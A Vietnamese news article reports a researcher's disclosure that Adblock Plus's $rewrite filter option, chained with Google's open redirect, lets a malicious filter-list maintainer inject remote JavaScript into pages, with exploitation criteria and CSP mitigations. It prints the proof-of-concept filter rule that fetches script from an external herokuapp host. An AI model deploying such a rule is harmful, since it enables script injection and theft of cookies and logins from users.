Bộ lọc Adblock Plus có thể được exploit để chạy mã độc hại

Một exploit mới đây đã được phát hiện có thể cho phép người duy trì bộ lọc chặn quảng cáo trong các công cụ mở rộng trình duyệt bao gồm Adblock Plus, AdBlock và uBlocker có thể tạo ra các bộ lọc có thể giúp đưa tập lệnh độc hại vào các trang web từ xa.

Đáng nói là những công cụ chặn quảng cáo này hiện đang sở hữu số lượng người dùng lên đến hơn 10 triệu trên toàn thế giới. Do đó, nếu các tập lệnh độc hại được tiêm vào hệ thống thông qua cách này, tác hại gây ra nhiều khả năng sẽ rất nặng nề bởi chúng có thể thực hiện các hoạt động không mong muốn như ăn cắp cookie, thông tin đăng nhập, gây chuyển hướng trang hoặc nhiều hành vi xâm phạm dữ liệu và quyền riêng tư khác.

• Lệnh kiểm tra siêu liên kết đang được hacker dùng để thực hiện DDoS

Tùy chọn bộ lọc $rewrite

Để hiểu rõ vấn đề, trước tiên chúng ta cần phải nói qua một chút về cách thức hoạt động của trình chặn quảng cáo. Các phần mềm này thường hoạt động dựa trên danh sách những URL có liên quan đến quảng cáo và hành vi độc hại, thường được duy trì bởi một nhóm nhỏ hoặc thậm chí chỉ một người. Khi các danh sách này được tải bởi tiện ích mở rộng chặn quảng cáo, như Adblock Plus chẳng hạn, tiện ích mở rộng đó sẽ có nhiệm vụ ngăn trình duyệt kết nối với các URL được liệt kê và do đó, những nội dung quảng cáo hoặc tập lệnh độc hại sẽ không thể xuất hiện như bình thường trên trang web mà bạn truy cập.

Ví dụ: Bên dưới là danh sách bộ lọc cho một danh sách chặn quảng cáo phổ biến có tên EasyList.

• Lộ dữ liệu cá nhân của hơn 1.3 triệu người từ một lỗ hổng trên ứng dụng web

Khi Adblocker Plus 3.2 được phát hành vào năm 2018, đã có một tùy chọn danh sách bộ lọc mới được nhà phát triển tung ra, đó là $rewrite. Điểm mới của $rewrite nằm ở chỗ nó có thể cho phép thay thế một yêu cầu web khớp với biểu thức chính quy cụ thể bằng một URL khác.

Điểm cần lưu ý duy nhất ở đây là việc chuỗi thay thế phải là một URL tương đối, có nghĩa là nó không có chứa tên máy chủ và khi được viết lại phải ở cùng một miền gốc với yêu cầu ban đầu.

Ví dụ: Quy tắc bộ lọc sau đây sẽ khiến tất cả các yêu cầu đối với trang web tại địa chỉ example.com/ad.gif được thay thế bằng example.com/puppies.gif. Vì vậy, thay vì quảng cáo được hiển thị trên một trang như thông thường thì giờ đây, bạn sẽ thấy xuất hiện hình ảnh dễ thương của những chú chó con:

||example.com/ad.gif$rewrite=/puppies.gif

Mặt khác, vì URL được viết lại phải có cùng nguồn gốc với URL gốc, đồng thời cũng phải là một URL tương đối, quy tắc $rewrite như sau đây sẽ không hoạt động:

||example.com/ads.js$rewrite=https://evilsite.tk/bwahaha.js

Để làm cho $rewrite thậm chí còn trở nên khó exploit hơn, tùy chọn bộ lọc này sẽ không hoạt động đối với các yêu cầu thuộc loại SCRIPT, SUBDOCUMENT, OBOG và OBJECT_SUBREQUEST.

Có thể thấy rằng nếu một tập lệnh độc hại muốn ở trên cùng một trang, chúng phải được viết lại thành một URL tương đối và không thể được tải thông qua thẻ script, vậy thì làm thế nào một người duy trì danh sách (list maintainer) có thể exploit tập lệnh độc hại đó?

• Phát hiện và Phản hồi mối đe dọa điểm cuối, một công nghệ bảo mật mới nổi

Exploit $rewrite bằng cách xâu chuỗi với các yêu cầu chuyển hướng dịch vụ web

Theo phân tích của nhà nghiên cứu bảo mật Armin Sebastian thì trong một số điều kiện nhất định, người duy trì bộ lọc chặn quảng cáo giả mạo hoàn toàn có thể tạo ra một quy tắc đưa tập lệnh từ xa vào một trang web cụ thể.

Để làm được điều này, đầu tiên bạn sẽ cần cần tìm một trang web cho phép các tập lệnh tải từ bất kỳ tên miền nào, đồng thời chứa một chuyển hướng mở và sử dụng XMLHttpRequest hoặc Fetch để tải xuống các tập lệnh sẽ được thực thi. Trang web dạng này trên thực tế không quá khó tìm, Sebastian đã sử dụng Google Maps cho Proof of Concept của mình.

Các tiêu chí sau phải được đáp ứng để có thể exploit được dịch vụ web bằng phương pháp này:

1. Trang phải load được một chuỗi JS bằng cách sử dụng XMLHttpRequest hoặc Fetch và thực thi mã trả về.
2. Trang phải không hạn chế về nguồn gốc tìm nạp bằng cách sử dụng các chỉ thị Content Security Policy, hoặc không được tự động xác thực yêu cầu URL cuối cùng trước khi thực thi mã đã tải xuống.
3. Nguồn gốc của mã được tìm nạp phải sở hữu chuyển hướng mở phía máy chủ, hoặc nó phải lưu trữ nội dung người dùng tùy ý.

2 chìa khóa chính của vấn đề đó là việc sử dụng XMLHttpRequest hoặc Fetch để tải xuống các tập lệnh và chuyển hướng mở.

Điều này là do khi sử dụng tùy chọn $rewrite, những yêu cầu sử dụng XMLHttpRequest hoặc Fetch để tải xuống các tập lệnh thực thi từ xa sẽ được đảm bảo khả năng thành công rất cao. Hơn nữa, chuyển hướng mở cũng đóng vai trò quan trọng không kém vì nó cho phép đọc tập lệnh của XMLHttpRequest từ một trang web từ xa, trong khi vẫn xuất hiện từ cùng một nguồn gốc.

• “Tính năng” không an toàn trên UC Browser cho phép hacker chiếm quyền kiểm soát điện thoại Android từ xa

Ví dụ: Nhà nghiên cứu Sebastian đã dùng Google Maps bởi công cụ này sử dụng XMLHttpRequest để tải tập lệnh, và đồng thời bởi google.com có sở hữu chuyển hướng mở như một phần của trang kết quả tìm kiếm. Điều này cho phép ông tiến hành xâu chuỗi các exploit với nhau bằng cách sử dụng tùy chọn bộ lọc $rewrite cùng với chuyển hướng mở để đọc một tập lệnh từ xa như dưới đây.

/^https://www.google.com/maps/_/js/k=.*/m=pw/.*/rs=.*/$rewrite=/search?hl=en-US&source=hp&biw=&bih=&q=majestic-ramsons.herokuapp.com&btnI=I%27m+Feeling+Lucky&gbv=1

Với quy tắc trên, khi bạn truy cập www.google.com.vn/maps/, quy tắc bộ lọc sẽ sử dụng chuyển hướng mở của Google để đọc nội dung từ https://majests-ramsons.herokuapp.com/.

Vì url chuyển hướng mở có cùng nguồn gốc hoặc tên miền, do đó các chuỗi sẽ được phép đọc và thực thi dưới dạng JavaScript, điều này sẽ khiến cảnh báo được hiển thị như được thấy ở hình minh họa bên dưới.

• Siêu máy tính hoàn toàn có thể phát hiện ra các mối đe dọa trên không gian mạng

Armin Sebastian đã báo cáo vấn đề này với Google, nhưng lập trường của công ty Mountain View luôn cho rằng chuyển hướng mở là "Intended Behavior" (hành vi có chủ đích).

"Google đã được thông báo về hành vi exploit này, nhưng báo cáo đã bị đóng vì bị coi là “hành vi có chủ đích”. Google cho rằng vấn đề bảo mật tiềm ẩn chỉ xuất hiện trong các công cụ mở rộng trình duyệt đã đề cập. Tôi lấy làm đáng tiếc về kết luận này, bởi như chúng ta đã biết, quá trình exploit bao gồm một tập hợp các lỗ hổng trình duyệt và dịch vụ web đã được liên kết chặt chẽ với nhau”, Armin Sebastian chia sẻ.

Để giảm thiểu hành vi exploit theo chuỗi liên kết này, Sebastian khuyên các trang web nên sử dụng Content Security Policy và tùy chọn connect-src để chỉ định danh sách trắng các trang web có thể tải tập lệnh.

"Hành vi exploit có thể được giảm thiểu trong các dịch vụ web bị ảnh hưởng thông qua việc liệt kê nguồn gốc đã biết bằng cách sử dụng connect-src CSP, hoặc bằng cách loại bỏ các chuyển hướng mở phía máy chủ (server-side open redirects)".

Mặc dù có thể có nhiều cách để sửa đổi danh sách bộ lọc, nhưng mối quan tâm chính của Armin Sebastian nằm ở thực tế là "các toán tử danh sách bộ lọc có thể giúp thực hiện những cuộc tấn công nhắm mục tiêu rất khó phát hiện".

Trên thực tế nhiều người có nhiệm vụ duy trì danh sách bộ lọc là các tình nguyện viên, do đó việc họ thêm một bộ lọc không mong muốn bởi một lý do nhất định nào đó là hoàn toàn có thể xảy ra.

Ví dụ, Sebastian giải thích rằng vào năm 2018, một người duy trì danh sách ở Phần Lan đã thêm bộ lọc vì lý do chính trị, từ đó chặn hoàn toàn các trang web chính trị cụ thể ở quốc gia này, vốn đang được sử dụng để tuyên truyền các cuộc biểu tình.

Cũng cần lưu ý rằng mặc dù các tiện ích mở rộng chỉ có một vài danh sách bộ lọc, nhưng cũng có nhiều bộ lọc được duy trì bởi các bên thứ ba cũng có thể được thêm vào. Sẽ không có gì đáng ngạc nhiên khi thấy rằng một danh sách bộ lọc phổ biến được mua lại và sau đó sửa đổi để đính kèm thêm các bộ lọc độc hại. Do đó, nêu cao cảnh giác là việc mà các nhà phát triển dịch vụ và người dùng nên làm.